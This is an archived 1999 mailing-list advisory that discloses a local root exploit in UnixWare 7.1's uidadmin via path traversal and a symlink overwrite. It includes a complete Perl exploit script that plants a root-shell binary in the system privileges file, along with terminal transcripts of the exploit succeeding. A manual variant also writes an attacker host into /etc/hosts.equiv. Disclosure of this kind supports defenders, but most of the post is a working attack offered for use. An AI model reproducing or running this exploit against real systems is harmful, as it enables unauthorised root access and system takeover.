UnixWare 7 uidadmin exploit + discussion

From: Brock Tellier (btellierat_private)
Date: Thu Dec 02 1999 - 08:01:10 PST

  • Next message: Brock Tellier: "UnixWare 7 gethostbyname() overflow"

    Greetings,
    
    OVERVIEW
    SCO UnixWare 7.1's sgid-sys /usr/bin/uidadmin will allow any user to gain root
    privileges as a result of it's ability to write *ANY* file, not just those
    traditionally writable by gid-sys.
    
    BACKGROUND
    All of my testing was done on UnixWare 7.1, no other versions have been tested
    although 7.x is assumed to be vulnerable as well.  
    
    DETAILS
    
    UnixWare's system privileges are assigned two-fold.  First, it has the
    standard UNIX suid/sgid conventions.  Second, it has a list of programs and
    the additional privileges they gain when run in /etc/security/tcb/privs.  
    
    For instance, /usr/bin/ping is *not* suid/sgid
    but may still perform raw socket operations because it gains the "driver" 
    privilege in the privs file.  Even ln, cp, mkdir and so on must have
    filesystem modification privileges in this file in order to perform their
    respective functions.
    
    A program which has "allprivs" defined in /etc/security/tcb/privs may perform
    any operation as though this program was suid-root.  If we are able to 
    overflow a buffer, for instance, in one of these allprivs programs, we could
    run shellcode normally, but only after we've set our uid to 0.  Similarly if
    we overflowed ping, we could do all the socket operations we want, but we
    could NOT gain root access.
    
    The uidadmin program does not have allprivs defined, so we cannot just cut to
    the setreuid(0,0) chase and execute our shell.  uidadmin does, however, have
    the dacwrite privilege and can therefore override all of the normal UNIX DAC
    (Discretionary Access Control) security precautions (including filemode
    bits).
    
    Because of the way uidadmin opens "uidata.tmp", we can only either create a
    file with any contents we desire anywhere on the system (as long as it doesn't
    exist) or overwrite an existing file with our string.
    
    In this way we can add our own program to the privs file by using a symlink
    exploit in uidadmin to overwrite it.  The only problem with this is that
    simply placing our program in the file is not enough.  The filepriv() function
    must be called by root or a process with the appropriate privs permission and
    assign the file to the kernel's privileged file table.  This can also be
    accomplished by 
    
    running "initprivs", which is not world executable.  The good
    news is that the privileged file table is re-created from the privs file at
    every boot, so if we run our exploit and have some patience, we'll eventually
    get our rootshell.
    
    The convention for a program in /etc/security/tcb/privs is 
    SizeInBytes:Checksum:CTimeSinceEpoch:PrivsToGain:/Full/Path/To/File
    size and time can be gotten with the standard stat(2) st_size and st_ctime
    The checksum uses sum(1)'s alternate machine-dependant algorythm (sum -r).
    
    For more information on UnixWare's wacky privileges system, see the man pages
    for Intro(2), priv, and filepriv(2).
    
    The actual symlink exploit goes like this: by specifying a scheme name as a
    reverse-directory-transversal name from /etc/uidadmindir (such as
    uidadmin -S ../../tmp, we can force uidadmin to look for our version of
    uidata. If this file exists, and you have specified the "-a -r bah" options,
    uidadmin will create or overwrite a file named "uidata.tmp" with the data from
    "uidata". By placing our string in uidata and making a symlink from uidata.tmp
    to anywhere, we can overwrite system files and gain root privileges.
    
    EXPLOIT
    
    A warning about the uix.pl exploit:
    uix.pl will overwrite /etc/security/tcb/privs with a single entry.  All other
    entries will be lost and thus the next time the kernel permissions table is
    rebuilt, you will not be able to run any programs (as a regular user) with the
    permissions they had before the reboot.  I.E. ping won't work because it
    doesn't gain "driver" privileges anymore.
    
    To get around this, make sure you login immediatly after reboot, execute your
    rootshell and "cat /etc/security/tcb/oprivs >> /etc/security/tcb/privs" then
    run "initprivs" to re-install all privileged programs. 
    
    bash-2.02$ id
    uid=106(xnec) gid=1(other)
    bash-2.02$ ls -la /usr/bin/uidadmin
    -r-xr-s--x    1 sys      sys           18012 Apr  3  1998 /usr/bin/uidadmin
    bash-2.02$ ./uix.pl
    
    * uidadmin exploit for UnixWare 7.1 <btellierat_private>
    
    
    /home/xnec/ui successfully compiled
    /home/xnec/ui size=3760 ctime=944185049
    /home/xnec/ui checksum is 16136
    placing '3760:16136:944185049:%fixed,allprivs:/home/xnec/ui' into /tmp/uidata
    UX:uidadmin: ERROR: mandatory field(s) missing
    Exploit successful. Run /home/xnec/ui after reboot for rootshell 
    bash-2.02$
    
    AFTER REBOOT:
    bash-2.02$ ./ui
    # 
    
    
    --- uix.pl ---
    #!/usr/bin/perl
    
    ###########################################################
    # /usr/bin/uidadmin exploit for UnixWare 7.1
    # Uses a symlink exploit to add our program to a list of elevated privileges
    # programs in /etc/security/tcb/privs.  After reboot, /tmp/ui will be added
    # to the list of privileged programs.
    #
    # Format of the privs file is as follows (ctime and size are just as
    # st_ctime and st_size as described by stat(2)):
    # size:checksum:time:perms:/full/path/to/prog
    #
    # -Brock Tellier btellierat_private
    #
    ###########################################################
    
    $ui_source = "/home/xnec/ui.c";
    $ui_dest = "/home/xnec/ui";
    $ui_code = "void main() { setreuid(0,0); system(\"/bin/ksh\");}";
    $privloc = "/etc/security/tcb/privs";
    $uidatafile="/tmp/uidata";
    $sumpath = "/usr/bin/sum";
    $uidata_sym = "/tmp/uidata.tmp";
    $compiler = "cc";
    $uidadmin = "/usr/bin/uidadmin";
    
    ###
    # Path to the directory where your $uidata_sym will exist relative to
    # /etc/uidata/
    ###
    $uidadminarg = "../../tmp";
    
    
    print("\n* uidadmin exploit for UnixWare 7.1 <btellier\@usa.net>\n\n");
    
    ###
    # Output $ui_code to $ui_source and compile into $ui_dest
    ###
    
    open(UIS, ">$ui_source");
    printf(UIS "$ui_code\n");
    close(UIS);
    system ("$compiler -o $ui_dest $ui_source");
    if ( -e $ui_dest ) {
       print("\n$ui_dest successfully compiled\n");
    }
       else { die "error compiling $ui_dest"; }
    
    ###
    # stat $ui_dest for size in bytes and ctime (seconds since epoch)
    ###
    
    $size=(stat($ui_dest))[7] || die "cannot stat $ui_dest";
    $ctime=(stat($ui_dest))[10];
    print("$ui_dest size=$size ctime=$ctime\n");
    
    ###
    # get the checksum value for $ui_dest
    ###
    
    open(SUM, "$sumpath -r $ui_dest|");
    $checksum=<SUM>;
    chomp($checksum);
    @sumfields=split(' ', $checksum);
    $chksum = @sumfields[0];
    $chksum =~ s/^0//;
    
    print("$ui_dest checksum is $chksum\n");
    
    ###
    # Put our entry into $uidatafile, use trailing newline
    ###
    
    $uidata="$size:$chksum:$ctime:\%fixed,allprivs:$ui_dest";
    print("placing '$uidata' into $uidatafile\n");
    open(TMP, ">$uidatafile");
    print(TMP "$uidata\n");
    close(TMP);
    
    ###
    # Create symlink from $uidata_sym to $privloc
    ###
    symlink($privloc, $uidata_sym);
    
    ###
    # All the preparation is done, launch the exploit
    ###
    
    system("$uidadmin -S $uidadminarg -a -r bah");
    
    ###
    # Find out if the exploit worked, assume it did if $ui_dest is in $privloc
    ###
    
    open (PRIV, "$privloc");
    @privs = <PRIV>;
    foreach $priv (@privs) {
       if ($priv =~ /$ui_dest/) {
          print("Exploit successful. Run $ui_dest after reboot for rootshell
    \n");
          exit(0);
       }
    }
    print("Exploit not successful, sorry!\n");
    
    
    --- /uix.pl ----
    
    --- for those with little patience ---
    
    bash-2.02$ id              
    uid=106(xnec) gid=1(other)
    bash-2.02$ ls -la /etc/hosts.equiv
    UX:ls: ERROR: Cannot access /etc/hosts.equiv: No such file or directory
    bash-2.02$ ls -la /usr/bin/uidadmin
    -r-xr-s--x    1 sys      sys           18012 Apr  3  1998 /usr/bin/uidadmin
    bash-2.02$ ln -s /etc/hosts.equiv /tmp/uidata.tmp
    bash-2.02$ echo "cracker.com" > /tmp/uidata
    bash-2.02$ /usr/bin/uidadmin -S ../../tmp -a -r bah
    UX:uidadmin: ERROR: mandatory field(s) missing
    bash-2.02$ cat /etc/hosts.equiv
    cracker.com
    bash-2.02$ ls -al /etc/hosts.equiv
    -rw-rw-r--    1 sys      sys              12 Dec  2 19:05 /etc/hosts.equiv
    bash-2.02$ 
    
    --- /patience ---
    
    Brock Tellier
    UNIX Systems Administrator
    Chicago, IL, USA
    btellierat_private
    
    ____________________________________________________________________
    Get free email and a permanent address at http://www.netaddress.com/?N=1
    



    This archive was generated by hypermail 2b30 : Fri Apr 13 2001 - 15:16:18 PDT